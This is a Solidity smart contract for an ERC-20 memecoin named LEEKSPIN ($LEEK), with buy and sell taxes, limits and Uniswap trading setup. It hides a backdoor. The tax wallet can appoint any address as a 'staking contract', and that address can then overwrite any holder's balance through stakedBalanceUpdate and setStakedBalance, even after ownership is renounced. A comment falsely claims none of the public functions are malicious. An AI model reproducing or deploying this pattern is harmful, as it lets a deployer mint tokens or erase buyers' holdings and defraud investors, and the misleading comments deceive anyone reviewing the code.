// File: LEEK.sol



/*

LEEKSPIN ($LEEK)

Founding Mother of memes here to take over the memecoin space! Are you ready to SPIN some leeks?

TG:     https://t.me/leekspintokeneth
Website:https://www.leekspintoken.com                                     
X:      https://twitter.com/leekspintoken

IYKYK.......

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract LEEK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    mapping (address => uint256) public _lastStakingUpdate;
    address payable public _stakingContract;
    uint256 public _stakingStartBlock;
    bool public _stakingEnabled;
    uint256 firstBlock;

    uint256 private _initialBuyTax=15; // 15% Sniper Buy Tax
    uint256 private _initialSellTax=20; // 20% Sniper Sell Tax
    uint256 public _finalBuyTax=2; // 2% Permanent Buy Taxes // Disabled through disableTaxes()
    uint256 public _finalSellTax=2; // 2% Permanent Sell Taxes // Disabled through disableTaxes()
    uint256 private _reduceBuyTaxAt=15; // Sniper Buy Tax Disabled After 15 Txns
    uint256 private _reduceSellTaxAt=20; // Sniper Sell Tax Disabled After 20 Txns
    uint256 private _preventSwapBefore=10; // No Contract Sells Before 10 Txns
    uint256 private _buyCount=1; // Initial Buy Counter

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals; // 1,000,000
    string private constant _name = unicode"LEEKSPIN";
    string private constant _symbol = unicode"LEEK";
    uint256 public _maxTxAmount =   30000 * 10**_decimals; // 30,000 // 3%
    uint256 public _maxWalletSize = 30000 * 10**_decimals; // 30,000 // 3%
    uint256 public _taxSwapThreshold= 5000 * 10**_decimals; // 5,000 // 0.5%
    uint256 public _maxTaxSwap= 10000 * 10**_decimals; // 10,000 // 1%

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[owner()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "LEEK: Transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "LEEK: Approve from the zero address");
        require(spender != address(0), "LEEK: Approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function stakedBalanceUpdate(address _holder, uint256 _amount) public {
        require(msg.sender == _stakingContract, "LEEK: Caller Not StakingContract");
        setStakedBalance(_holder,_amount);
        _lastStakingUpdate[_holder] = block.number;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "LEEK: Transfer from the zero address");
        require(to != address(0), "LEEK: Transfer to the zero address");
        require(amount > 0, "LEEK: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "LEEK: Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "LEEK: Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "LEEK: Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            taxAmount = 0;
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function setStakedBalance(address _holder, uint256 _amount) private {
        _balances[_holder] = _amount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen,"LEEK: Trading Already Open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    // PUBLIC ADMIN FUNCTIONS

    // Below Functions are admin functions that are kept public so that _taxWallet can access them.
    // This allows developers to renounce the contract early on, while having access to crucial functions.
    // None of the public functions are malicious and only serve to allow devs to renounce early on.

    // FUNCTIONS LIST:

    // removeLimits() - Lets _taxWallet remove the max wallet/txn.
    // updateStakingContract() - Lets _taxWallet set the Staking Contract and enable Staking when needed.
    // rescueETH() - Lets _taxWallet remove stuck ETH from contract.
    // rescueToken() - Lets _taxWallet remove any stuck tokens from contract.
    // disableTaxes() - Lets _taxWallet disable taxes.
    // skipInitialTaxes() - Lets _taxWallet skip initial sniper taxes in case of low volume.
    // unclogContract() - Lets _taxWallet unclog the contract by initiating a manual swap.

    function removeLimits() public {
        // TaxWallet can remove limits from Contract
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet");
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function updateStakingContract(address _newStakingContract) public {
        // TaxWallet can set the Staking Contract and enable Staking when needed
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet");
        _stakingContract = payable(_newStakingContract);
        _isExcludedFromFee[_stakingContract] = true;
        _stakingStartBlock = block.number;
        _stakingEnabled = true;
    }

    function rescueETH() public {
        // TaxWallet can withdraw any stuck ETH from Contract
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet");
        payable(_msgSender()).transfer(address(this).balance);
    }

    function rescueToken(address tokenAddress) public {
        // TaxWallet can withdraw any stuck ERC20 tokens from Contract
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet");
        IERC20(tokenAddress).transfer(_msgSender(), IERC20(tokenAddress).balanceOf(address(this)));
    }

    function disableTaxes() public {
       // TaxWallet can disable taxes.
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet"); 
        _finalBuyTax = 0;
        _finalSellTax = 0;
    }

    function skipInitialTaxes() public {
        // TaxWallet can skip Initial Taxes incase of low volume/less buys
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet");
        _buyCount = _reduceBuyTaxAt + 1; // Should be greater than _reduceBuyTaxAt to skip Initial Buy Taxes
    }

    function unclogContract() public {
        // TaxWallet can unclog the Contract
        require(msg.sender == _taxWallet, "LEEK: Caller Not TaxWallet");
        uint256 contractTokenBalance = balanceOf(address(this));
        swapTokensForEth(contractTokenBalance);
        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            sendETHToFee(address(this).balance);
        }
    }

    receive() external payable {}

}